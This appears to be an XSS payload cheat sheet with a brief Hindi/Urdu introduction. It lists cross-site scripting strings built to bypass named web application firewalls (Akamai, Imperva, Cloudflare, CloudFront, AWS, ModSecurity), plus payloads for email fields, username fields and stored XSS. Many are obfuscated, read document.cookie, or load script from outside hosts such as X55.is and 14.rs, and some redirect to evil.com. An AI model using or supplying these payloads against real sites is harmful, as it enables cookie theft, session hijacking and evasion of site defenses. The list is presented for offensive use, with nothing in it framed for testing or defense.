💣WAF Bypass Payloads

Source Code me URL or URL Script tag k ander a raha ha hum paylod laga dy gy

"-confirm(1)-"

// Bypass Akamai and Imperva WAF

<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>


// Cloudflare WAF bypass:

<Svg On Only=1 Onload=alert(1)>
<svg/onload=window["al"+"ert"]1337>
<img src=OnXSS OnError=alert(1)>
'"><img src=x onerrora=confirm() onerror=confirm(1)>
'"><svg onloado=confirm() onload=confirm(1) onloado=confirm()>
"%20>%20/*<Svg%20Only=1%20onmouseover=confirm()>*///
<Img Src=OnXSS OnError=confirm("XSS-Cloudflare-bypass-By-Asad")>
<Svg Only=1 OnLoad=confirm(document.domain)>
<svg onload=alert&#0000000040document.cookie)>
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ=="))>
<Img Src=OnXSS OnError=confirm(document.cookie)>


<a AutoFocus contenteditable OnFocus=prompt`${origin}`>

<a AutoFocus contenteditable OnFocus="javascript​:prompt`${origin}`">
'"><svg/onload="location.replace('https://evil.com')"
tester<a href=http://evil.com>reopen your</a>
"location.replace('https://evil.com')"


<iframe src="javascript​:prompt`${origin}`" xss="">

<sVG/oNLY%3d1/**/On+ONloaD%3dco\u006efirm%26%23x28%3b%26%23x29%3b>
%3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E
1%22onfocus=%27window.alert%28document.cookie%29%27%20autofocus=
---------------------------------
// Akamai WAF bypass:

';k='e'%0Atop['al'+k+'rt'](1)//
1'"><A HRef=\" AutoFocus OnFocus=('ale'+'rt')(origin)>
1'"><A HRef=\" AutoFocus OnFocus=top/**/?.['ale'%2B'rt'](1)>
javascript:top[/al/.source+/ert/.source](document.cookie)
<A %252F=""Href= JavaScript:k='a',top[k%2B'lert'](1)> 
1'"><INPUT HRef=\" AutoFocus OnFocus="var a='ale';var b='rt';var c='()';top[a+b]`11`"><"
--------------------------------
// Imperva WAF bypass:

xss"><input%20type=hidden%20oncontentvisibilityautostatechange=alert?.%26lpar;)%20style=content-visibility:auto>
<Img Src=//X55.is OnLoad%0C=import(Src)>
<svg/onload=self[`aler`%2b`t`]`1`>
<sVg OnPointerEnter="location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//</div">
<details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle=&#x0000000000061;lert&#x000000028;origin&#x000029;>
%3Cinput+onfocus%3d%27/*=*/Function(%22ale%22%2b%22rt(document.domain)%22)();//%27autofocus+
--------------------------------
// Cloudfront WAF bypass:

">'><details/open/ontoggle=confirm('XSS')>
6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
';window/aabb/['al'%2b'ert'](document./aabb/location);//
">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(cloudfrontbypass)//'>
'""><Svg+OnLoad=(alert)(1)>
--------------------------------
// Amazon WAF Bypass:

%3Cimg%2Fsrc%2Fonerror%3D.1%7Calert%601%60%3E
<img%2Fsrc%2Fonerror%3D.1%7Calert%601%60>
<img/src/onerror=.1|alert`1`>
--------------------------------
// Mod security WAF bypass:

<svg onload='new Function["Y000!"].find(al\u0065rt)'>

//If I have an Email Parameter

[e-mail]'\"><svg/onload=alert(/xss/)>
>"<iframe src=http://14.rs onload=alert(document.domain)>@gmail.com
>"<script>alert(document.cookie)</script><div style="[e-mail]
>"<script>alert(document.cookie)</script>@gmail.com
"<script>alert(1)</script>"@example.com
"><img src=a onerror=alert(1)>[e-mail]
"><svg/onload=confirm(1)>@gmail.com
"<script>alert(1)</script>"@example.com
"><svg/onload=confirm(1)>"@x.y
test+(<script>alert(document.domain)</script>)@gmail.com                                                                                                                             d=alert(1)>"@x.y
[e-mail]'\"><svg/onload=alert(/xss/)>[e-mail]
[e-mail]%27\%22%3E%3Csvg/onload=alert(/xss/)%3E
--------------------------------
// if i have a username Parameter

KaOdcRYSw6jhu"><script>alert(document.domain)</script>vzsui

Srored (Persistent) XSS Payloads

<img src=x onerror="alert(origin)">
--------------------------------
<IFRAME SRC="javascript:alert(document.cookie);"></IFRAME>
<Img Src=OnXSS OnError=confirm(document.cookie)>
/><svg src=x onload=confirm(document.domain);>
<iframe srcdoc="<img src=x onerror=alert(document.domain)>"></iframe>
"><h1>asad</h1><svg><circle><set onbegin=confirm(document.cookie) attributename=fill>
<embed src=//14.rs>
 <script src="data:text/javascript,alert(1)"></script>
<Img Src=OnXSS OnError=confirm("Hacked_by_asad")>
"<iframe src="evil.source" onload="alert(document.domain)"></iframe>
"><iframe src=https://shorturl.at/uFGNV onload=alert(document.domain)></iframe>
xyz';"/></textarea><Img Src=OnXSS OnError=prompt(document.cookie)>
<input accesskey=X onclick="self['wind'+'ow']['one'+'rror']=alert;throw 1337;">
'"</SCRIPT>--!><SCRIPT>alert(String.fromCharCode(71,104,48,53,116,80,84))</SCRIPT>
<svg onload="[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162'] ('\141\154\145\162\164\50\61\51')()">

"\/><img%20s+src+c=x%20on+onerror+%20="alert(1)"\>
<img/src=x onError="`${x}`;alert(`Hello`);">
xss'"><iframe srcdoc='%26lt;script>;alert(1)%26lt;/script>'>
<input accesskey=X onclick="self['wind' 'ow']['one' 'rror']=alert;throw 1337;">

<div id="137"><svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href" begin="0" from="javaScriPt://www.simplenote.com/test%0aalert(document.domain)" to="&" />
</a>//["'`-->]]>]</div>